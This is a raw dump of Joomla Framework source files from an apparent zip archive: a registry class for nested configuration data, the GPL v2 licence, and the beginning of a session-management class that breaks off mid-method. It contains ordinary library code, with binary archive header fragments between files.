* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Registry;
/**
* Interface defining a format object
*
* @since 1.5.0
*/
interface FormatInterface
{
/**
* Converts an object into a formatted string.
*
* @param object $object Data Source Object.
* @param array $options An array of options for the formatter.
*
* @return string Formatted string.
*
* @since 1.5.0
*/
public function objectToString($object, $options = null);
/**
* Converts a formatted string into an object.
*
* @param string $data Formatted string
* @param array $options An array of options for the formatter.
*
* @return object Data Object
*
* @since 1.5.0
*/
public function stringToObject($data, array $options = array());
}
PKƅ�[J���J�Jregistry/src/Registry.phpnu�[���<?php
/**
* Part of the Joomla Framework Registry Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Registry;
use Joomla\Utilities\ArrayHelper;
/**
* Registry class
*
* @since 1.0
*/
class Registry implements \JsonSerializable, \ArrayAccess,
\IteratorAggregate, \Countable
{
/**
* Registry Object
*
* @var \stdClass
* @since 1.0
*/
protected $data;
/**
* Flag if the Registry data object has been initialized
*
* @var boolean
* @since 1.5.2
*/
protected $initialized = false;
/**
* Registry instances container.
*
* @var Registry[]
* @since 1.0
* @deprecated 2.0 Object caching will no longer be supported
*/
protected static $instances = array();
/**
* Path separator
*
* @var string
* @since 1.4.0
*/
public $separator = '.';
/**
* Constructor
*
* @param mixed $data The data to bind to the new Registry object.
*
* @since 1.0
*/
public function __construct($data = null)
{
// Instantiate the internal data object.
$this->data = new \stdClass;
// Optionally load supplied data.
if ($data instanceof Registry)
{
$this->merge($data);
}
elseif (\is_array($data) || \is_object($data))
{
$this->bindData($this->data, $data);
}
elseif (!empty($data) && \is_string($data))
{
$this->loadString($data);
}
}
/**
* Magic function to clone the registry object.
*
* @return void
*
* @since 1.0
*/
public function __clone()
{
$this->data = unserialize(serialize($this->data));
}
/**
* Magic function to render this object as a string using default args of
toString method.
*
* @return string
*
* @since 1.0
*/
public function __toString()
{
return $this->toString();
}
/**
* Count elements of the data object
*
* @return integer The custom count as an integer.
*
* @link https://www.php.net/manual/en/countable.count.php
* @since 1.3.0
*/
public function count()
{
return \count(get_object_vars($this->data));
}
/**
* Implementation for the JsonSerializable interface.
* Allows us to pass Registry objects to json_encode.
*
* @return object
*
* @since 1.0
* @note The interface is only present in PHP 5.4 and up.
*/
public function jsonSerialize()
{
return $this->data;
}
/**
* Sets a default value if not already assigned.
*
* @param string $key The name of the parameter.
* @param mixed $default An optional value for the parameter.
*
* @return mixed The value set, or the default if the value was not
previously set (or null).
*
* @since 1.0
*/
public function def($key, $default = '')
{
$value = $this->get($key, $default);
$this->set($key, $value);
return $value;
}
/**
* Check if a registry path exists.
*
* @param string $path Registry path (e.g. joomla.content.showauthor)
*
* @return boolean
*
* @since 1.0
*/
public function exists($path)
{
// Return default value if path is empty
if (empty($path))
{
return false;
}
// Explode the registry path into an array
$nodes = explode($this->separator, $path);
// Initialize the current node to be the registry root.
$node = $this->data;
$found = false;
// Traverse the registry to find the correct node for the result.
foreach ($nodes as $n)
{
if (\is_array($node) && isset($node[$n]))
{
$node = $node[$n];
$found = true;
continue;
}
if (!isset($node->$n))
{
return false;
}
$node = $node->$n;
$found = true;
}
return $found;
}
/**
* Get a registry value.
*
* @param string $path Registry path (e.g.
joomla.content.showauthor)
* @param mixed $default Optional default value, returned if the
internal value is null.
*
* @return mixed Value of entry or null
*
* @since 1.0
*/
public function get($path, $default = null)
{
// Return default value if path is empty
if (empty($path))
{
return $default;
}
if (!strpos($path, $this->separator))
{
return (isset($this->data->$path) &&
$this->data->$path !== null && $this->data->$path !==
'') ? $this->data->$path : $default;
}
// Explode the registry path into an array
$nodes = explode($this->separator, trim($path));
// Initialize the current node to be the registry root.
$node = $this->data;
$found = false;
// Traverse the registry to find the correct node for the result.
foreach ($nodes as $n)
{
if (\is_array($node) && isset($node[$n]))
{
$node = $node[$n];
$found = true;
continue;
}
if (!isset($node->$n))
{
return $default;
}
$node = $node->$n;
$found = true;
}
if (!$found || $node === null || $node === '')
{
return $default;
}
return $node;
}
/**
* Returns a reference to a global Registry object, only creating it
* if it doesn't already exist.
*
* This method must be invoked as:
* <pre>$registry = Registry::getInstance($id);</pre>
*
* @param string $id An ID for the registry instance
*
* @return Registry The Registry object.
*
* @since 1.0
* @deprecated 2.0 Instantiate a new Registry instance instead
*/
public static function getInstance($id)
{
if (empty(self::$instances[$id]))
{
self::$instances[$id] = new self;
}
return self::$instances[$id];
}
/**
* Gets this object represented as an ArrayIterator.
*
* This allows the data properties to be accessed via a foreach statement.
*
* @return \ArrayIterator This object represented as an ArrayIterator.
*
* @see IteratorAggregate::getIterator()
* @since 1.3.0
*/
public function getIterator()
{
return new \ArrayIterator($this->data);
}
/**
* Load an associative array of values into the default namespace
*
* @param array $array Associative array of value to load
* @param boolean $flattened Load from a one-dimensional array
* @param string $separator The key separator
*
* @return Registry Return this object to support chaining.
*
* @since 1.0
*/
public function loadArray($array, $flattened = false, $separator = null)
{
if (!$flattened)
{
$this->bindData($this->data, $array);
return $this;
}
foreach ($array as $k => $v)
{
$this->set($k, $v, $separator);
}
return $this;
}
/**
* Load the public variables of the object into the default namespace.
*
* @param object $object The object holding the publics to load
*
* @return Registry Return this object to support chaining.
*
* @since 1.0
*/
public function loadObject($object)
{
$this->bindData($this->data, $object);
return $this;
}
/**
* Load the contents of a file into the registry
*
* @param string $file Path to file to load
* @param string $format Format of the file [optional: defaults to
JSON]
* @param array $options Options used by the formatter
*
* @return Registry Return this object to support chaining.
*
* @since 1.0
*/
public function loadFile($file, $format = 'JSON', $options =
array())
{
$data = file_get_contents($file);
return $this->loadString($data, $format, $options);
}
/**
* Load a string into the registry
*
* @param string $data String to load into the registry
* @param string $format Format of the string
* @param array $options Options used by the formatter
*
* @return Registry Return this object to support chaining.
*
* @since 1.0
*/
public function loadString($data, $format = 'JSON', $options =
array())
{
// Load a string into the given namespace [or default namespace if not
given]
$handler = AbstractRegistryFormat::getInstance($format, $options);
$obj = $handler->stringToObject($data, $options);
// If the data object has not yet been initialized, direct assign the
object
if (!$this->initialized)
{
$this->data = $obj;
$this->initialized = true;
return $this;
}
$this->loadObject($obj);
return $this;
}
/**
* Merge a Registry object into this one
*
* @param Registry $source Source Registry object to merge.
* @param boolean $recursive True to support recursive merge the
children values.
*
* @return Registry|false Return this object to support chaining or
false if $source is not an instance of Registry.
*
* @since 1.0
*/
public function merge($source, $recursive = false)
{
if (!$source instanceof Registry)
{
return false;
}
$this->bindData($this->data, $source->toArray(), $recursive,
false);
return $this;
}
/**
* Method to extract a sub-registry from path
*
* @param string $path Registry path (e.g. joomla.content.showauthor)
*
* @return Registry|null Registry object if data is present
*
* @since 1.2.0
*/
public function extract($path)
{
$data = $this->get($path);
if ($data === null)
{
return null;
}
return new Registry($data);
}
/**
* Checks whether an offset exists in the iterator.
*
* @param mixed $offset The array offset.
*
* @return boolean True if the offset exists, false otherwise.
*
* @since 1.0
*/
public function offsetExists($offset)
{
return (boolean) ($this->get($offset) !== null);
}
/**
* Gets an offset in the iterator.
*
* @param mixed $offset The array offset.
*
* @return mixed The array value if it exists, null otherwise.
*
* @since 1.0
*/
public function offsetGet($offset)
{
return $this->get($offset);
}
/**
* Sets an offset in the iterator.
*
* @param mixed $offset The array offset.
* @param mixed $value The array value.
*
* @return void
*
* @since 1.0
*/
public function offsetSet($offset, $value)
{
$this->set($offset, $value);
}
/**
* Unsets an offset in the iterator.
*
* @param mixed $offset The array offset.
*
* @return void
*
* @since 1.0
*/
public function offsetUnset($offset)
{
$this->remove($offset);
}
/**
* Set a registry value.
*
* @param string $path Registry Path (e.g.
joomla.content.showauthor)
* @param mixed $value Value of entry
* @param string $separator The key separator
*
* @return mixed The value of the that has been set.
*
* @since 1.0
*/
public function set($path, $value, $separator = null)
{
if (empty($separator))
{
$separator = $this->separator;
}
/*
* Explode the registry path into an array and remove empty
* nodes that occur as a result of a double separator. ex: joomla..test
* Finally, re-key the array so they are sequential.
*/
$nodes = array_values(array_filter(explode($separator, $path),
'strlen'));
if (!$nodes)
{
return;
}
// Initialize the current node to be the registry root.
$node = $this->data;
// Traverse the registry to find the correct node for the result.
for ($i = 0, $n = \count($nodes) - 1; $i < $n; $i++)
{
if (\is_object($node))
{
if (!isset($node->{$nodes[$i]}) && ($i !== $n))
{
$node->{$nodes[$i]} = new \stdClass;
}
// Pass the child as pointer in case it is an object
$node = &$node->{$nodes[$i]};
continue;
}
if (\is_array($node))
{
if (($i !== $n) && !isset($node[$nodes[$i]]))
{
$node[$nodes[$i]] = new \stdClass;
}
// Pass the child as pointer in case it is an array
$node = &$node[$nodes[$i]];
}
}
// Get the old value if exists so we can return it
switch (true)
{
case \is_object($node):
$result = $node->{$nodes[$i]} = $value;
break;
case \is_array($node):
$result = $node[$nodes[$i]] = $value;
break;
default:
$result = null;
break;
}
return $result;
}
/**
* Append value to a path in registry
*
* @param string $path Parent registry Path (e.g.
joomla.content.showauthor)
* @param mixed $value Value of entry
*
* @return mixed The value of the that has been set.
*
* @since 1.4.0
*/
public function append($path, $value)
{
$result = null;
/*
* Explode the registry path into an array and remove empty
* nodes that occur as a result of a double dot. ex: joomla..test
* Finally, re-key the array so they are sequential.
*/
$nodes = array_values(array_filter(explode('.', $path),
'strlen'));
if ($nodes)
{
// Initialize the current node to be the registry root.
$node = $this->data;
// Traverse the registry to find the correct node for the result.
// TODO Create a new private method from part of code below, as it is
almost equal to 'set' method
for ($i = 0, $n = \count($nodes) - 1; $i <= $n; $i++)
{
if (\is_object($node))
{
if (!isset($node->{$nodes[$i]}) && ($i !== $n))
{
$node->{$nodes[$i]} = new \stdClass;
}
// Pass the child as pointer in case it is an array
$node = &$node->{$nodes[$i]};
}
elseif (\is_array($node))
{
if (($i !== $n) && !isset($node[$nodes[$i]]))
{
$node[$nodes[$i]] = new \stdClass;
}
// Pass the child as pointer in case it is an array
$node = &$node[$nodes[$i]];
}
}
if (!\is_array($node))
{
// Convert the node to array to make append possible
$node = get_object_vars($node);
}
$node[] = $value;
$result = $value;
}
return $result;
}
/**
* Delete a registry value
*
* @param string $path Registry Path (e.g. joomla.content.showauthor)
*
* @return mixed The value of the removed node or null if not set
*
* @since 1.6.0
*/
public function remove($path)
{
// Cheap optimisation to direct remove the node if there is no separator
if (!strpos($path, $this->separator))
{
$result = (isset($this->data->$path) &&
$this->data->$path !== null && $this->data->$path !==
'') ? $this->data->$path : null;
unset($this->data->$path);
return $result;
}
/*
* Explode the registry path into an array and remove empty
* nodes that occur as a result of a double separator. ex: joomla..test
* Finally, re-key the array so they are sequential.
*/
$nodes = array_values(array_filter(explode($this->separator, $path),
'strlen'));
if (!$nodes)
{
return;
}
// Initialize the current node to be the registry root.
$node = $this->data;
$parent = null;
// Traverse the registry to find the correct node for the result.
for ($i = 0, $n = \count($nodes) - 1; $i < $n; $i++)
{
if (\is_object($node))
{
if (!isset($node->{$nodes[$i]}) && ($i !== $n))
{
continue;
}
$parent = &$node;
$node = $node->{$nodes[$i]};
continue;
}
if (\is_array($node))
{
if (($i !== $n) && !isset($node[$nodes[$i]]))
{
continue;
}
$parent = &$node;
$node = $node[$nodes[$i]];
continue;
}
}
// Get the old value if exists so we can return it
switch (true)
{
case \is_object($node):
$result = isset($node->{$nodes[$i]}) ? $node->{$nodes[$i]} :
null;
unset($parent->{$nodes[$i]});
break;
case \is_array($node):
$result = isset($node[$nodes[$i]]) ? $node[$nodes[$i]] : null;
unset($parent[$nodes[$i]]);
break;
default:
$result = null;
break;
}
return $result;
}
/**
* Transforms a namespace to an array
*
* @return array An associative array holding the namespace data
*
* @since 1.0
*/
public function toArray()
{
return (array) $this->asArray($this->data);
}
/**
* Transforms a namespace to an object
*
* @return object An an object holding the namespace data
*
* @since 1.0
*/
public function toObject()
{
return $this->data;
}
/**
* Get a namespace in a given string format
*
* @param string $format Format to return the string in
* @param mixed $options Parameters used by the formatter, see
formatters for more info
*
* @return string Namespace in string format
*
* @since 1.0
*/
public function toString($format = 'JSON', $options = array())
{
// Return a namespace in a given format
$handler = AbstractRegistryFormat::getInstance($format, $options);
return $handler->objectToString($this->data, $options);
}
/**
* Method to recursively bind data to a parent object.
*
* @param object $parent The parent object on which to attach the
data values.
* @param mixed $data An array or object of data to bind to the
parent object.
* @param boolean $recursive True to support recursive bindData.
* @param boolean $allowNull True to allow null values.
*
* @return void
*
* @since 1.0
*/
protected function bindData($parent, $data, $recursive = true, $allowNull
= true)
{
// The data object is now initialized
$this->initialized = true;
// Ensure the input data is an array.
$data = \is_object($data) ? get_object_vars($data) : (array) $data;
foreach ($data as $k => $v)
{
if (!$allowNull && !(($v !== null) && ($v !==
'')))
{
continue;
}
if ($recursive && ((\is_array($v) &&
ArrayHelper::isAssociative($v)) || \is_object($v)))
{
if (!isset($parent->$k))
{
$parent->$k = new \stdClass;
}
$this->bindData($parent->$k, $v);
continue;
}
$parent->$k = $v;
}
}
/**
* Method to recursively convert an object of data to an array.
*
* @param object $data An object of data to return as an array.
*
* @return array Array representation of the input object.
*
* @since 1.0
*/
protected function asArray($data)
{
$array = array();
if (\is_object($data))
{
$data = get_object_vars($data);
}
foreach ($data as $k => $v)
{
if (\is_object($v) || \is_array($v))
{
$array[$k] = $this->asArray($v);
continue;
}
$array[$k] = $v;
}
return $array;
}
/**
* Dump to one dimension array.
*
* @param string $separator The key separator.
*
* @return string[] Dumped array.
*
* @since 1.3.0
*/
public function flatten($separator = null)
{
$array = array();
if (empty($separator))
{
$separator = $this->separator;
}
$this->toFlatten($separator, $this->data, $array);
return $array;
}
/**
* Method to recursively convert data to one dimension array.
*
* @param string $separator The key separator.
* @param array|object $data Data source of this scope.
* @param array $array The result array, it is passed by
reference.
* @param string $prefix Last level key prefix.
*
* @return void
*
* @since 1.3.0
*/
protected function toFlatten($separator = null, $data = null, &$array
= array(), $prefix = '')
{
$data = (array) $data;
if (empty($separator))
{
$separator = $this->separator;
}
foreach ($data as $k => $v)
{
$key = $prefix ? $prefix . $separator . $k : $k;
if (\is_object($v) || \is_array($v))
{
$this->toFlatten($separator, $v, $array, $key);
continue;
}
$array[$key] = $v;
}
}
}
PKƅ�[�P�E�Esession/Joomla/Session/LICENSEnu�[���GNU
GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as
"you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.
<one line to give the program's name and a brief idea of what it
does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James
Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
PKƅ�[�n��[�["session/Joomla/Session/Session.phpnu�[���<?php
/**
* Part of the Joomla Framework Session Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Session;
use Joomla\Event\DispatcherInterface;
use Joomla\Input\Input;
/**
* Class for managing HTTP sessions
*
* Provides access to session-state values as well as session-level
* settings and lifetime management methods.
* Based on the standard PHP session handling mechanism it provides
* more advanced features such as expire timeouts.
*
* @since 1.0
*/
class Session implements \IteratorAggregate
{
/**
* Internal state.
* One of
'inactive'|'active'|'expired'|'destroyed'|'error'
*
* @var string
* @see getState()
* @since 1.0
*/
protected $state = 'inactive';
/**
* Maximum age of unused session in minutes
*
* @var string
* @since 1.0
*/
protected $expire = 15;
/**
* The session store object.
*
* @var Storage
* @since 1.0
*/
protected $store;
/**
* Security policy.
* List of checks that will be done.
*
* Default values:
* - fix_browser
* - fix_adress
*
* @var array
* @since 1.0
*/
protected $security = array('fix_browser');
/**
* Force cookies to be SSL only
* Default false
*
* @var boolean
* @since 1.0
*/
protected $force_ssl = false;
/**
* The domain to use when setting cookies.
*
* @var mixed
* @since 1.0
* @deprecated 2.0
*/
protected $cookie_domain;
/**
* The path to use when setting cookies.
*
* @var mixed
* @since 1.0
* @deprecated 2.0
*/
protected $cookie_path;
/**
* The configuration of the HttpOnly cookie.
*
* @var mixed
* @since 1.5.0
* @deprecated 2.0
*/
protected $cookie_httponly = true;
/**
* The configuration of the SameSite cookie.
*
* @var mixed
* @since 1.5.0
* @deprecated 2.0
*/
protected $cookie_samesite;
/**
* Session instances container.
*
* @var Session
* @since 1.0
* @deprecated 2.0
*/
protected static $instance;
/**
* The type of storage for the session.
*
* @var string
* @since 1.0
* @deprecated 2.0
*/
protected $storeName;
/**
* Holds the Input object
*
* @var Input
* @since 1.0
*/
private $input;
/**
* Holds the Dispatcher object
*
* @var DispatcherInterface
* @since 1.0
*/
private $dispatcher;
/**
* Constructor
*
* @param string $store The type of storage for the session.
* @param array $options Optional parameters
*
* @since 1.0
*/
public function __construct($store = 'none', array $options =
array())
{
// Need to destroy any existing sessions started with session.auto_start
if (session_id())
{
session_unset();
session_destroy();
}
// Disable transparent sid support
ini_set('session.use_trans_sid', '0');
// Only allow the session ID to come from cookies and nothing else.
ini_set('session.use_only_cookies', '1');
// Create handler
$this->store = Storage::getInstance($store, $options);
$this->storeName = $store;
// Set options
$this->_setOptions($options);
$this->_setCookieParams();
$this->setState('inactive');
}
/**
* Magic method to get read-only access to properties.
*
* @param string $name Name of property to retrieve
*
* @return mixed The value of the property
*
* @since 1.0
* @deprecated 2.0 Use get methods for non-deprecated properties
*/
public function __get($name)
{
if ($name === 'storeName' || $name === 'state' ||
$name === 'expire')
{
return $this->$name;
}
}
/**
* Returns the global Session object, only creating it
* if it doesn't already exist.
*
* @param string $handler The type of session handler.
* @param array $options An array of configuration options (for new
sessions only).
*
* @return Session The Session object.
*
* @since 1.0
* @deprecated 2.0 A singleton object store will no longer be supported
*/
public static function getInstance($handler, array $options = array())
{
if (!\is_object(self::$instance))
{
self::$instance = new self($handler, $options);
}
return self::$instance;
}
/**
* Get current state of session
*
* @return string The session state
*
* @since 1.0
*/
public function getState()
{
return $this->state;
}
/**
* Get expiration time in minutes
*
* @return integer The session expiration time in minutes
*
* @since 1.0
*/
public function getExpire()
{
return $this->expire;
}
/**
* Get a session token, if a token isn't set yet one will be
generated.
*
* Tokens are used to secure forms from spamming attacks. Once a token
* has been generated the system will check the post request to see if
* it is present, if not it will invalidate the session.
*
* @param boolean $forceNew If true, force a new token to be created
*
* @return string The session token
*
* @since 1.0
*/
public function getToken($forceNew = false)
{
$token = $this->get('session.token');
// Create a token
if ($token === null || $forceNew)
{
$token = $this->_createToken();
$this->set('session.token', $token);
}
return $token;
}
/**
* Method to determine if a token exists in the session. If not the
* session will be set to expired
*
* @param string $tCheck Hashed token to be verified
* @param boolean $forceExpire If true, expires the session
*
* @return boolean
*
* @since 1.0
*/
public function hasToken($tCheck, $forceExpire = true)
{
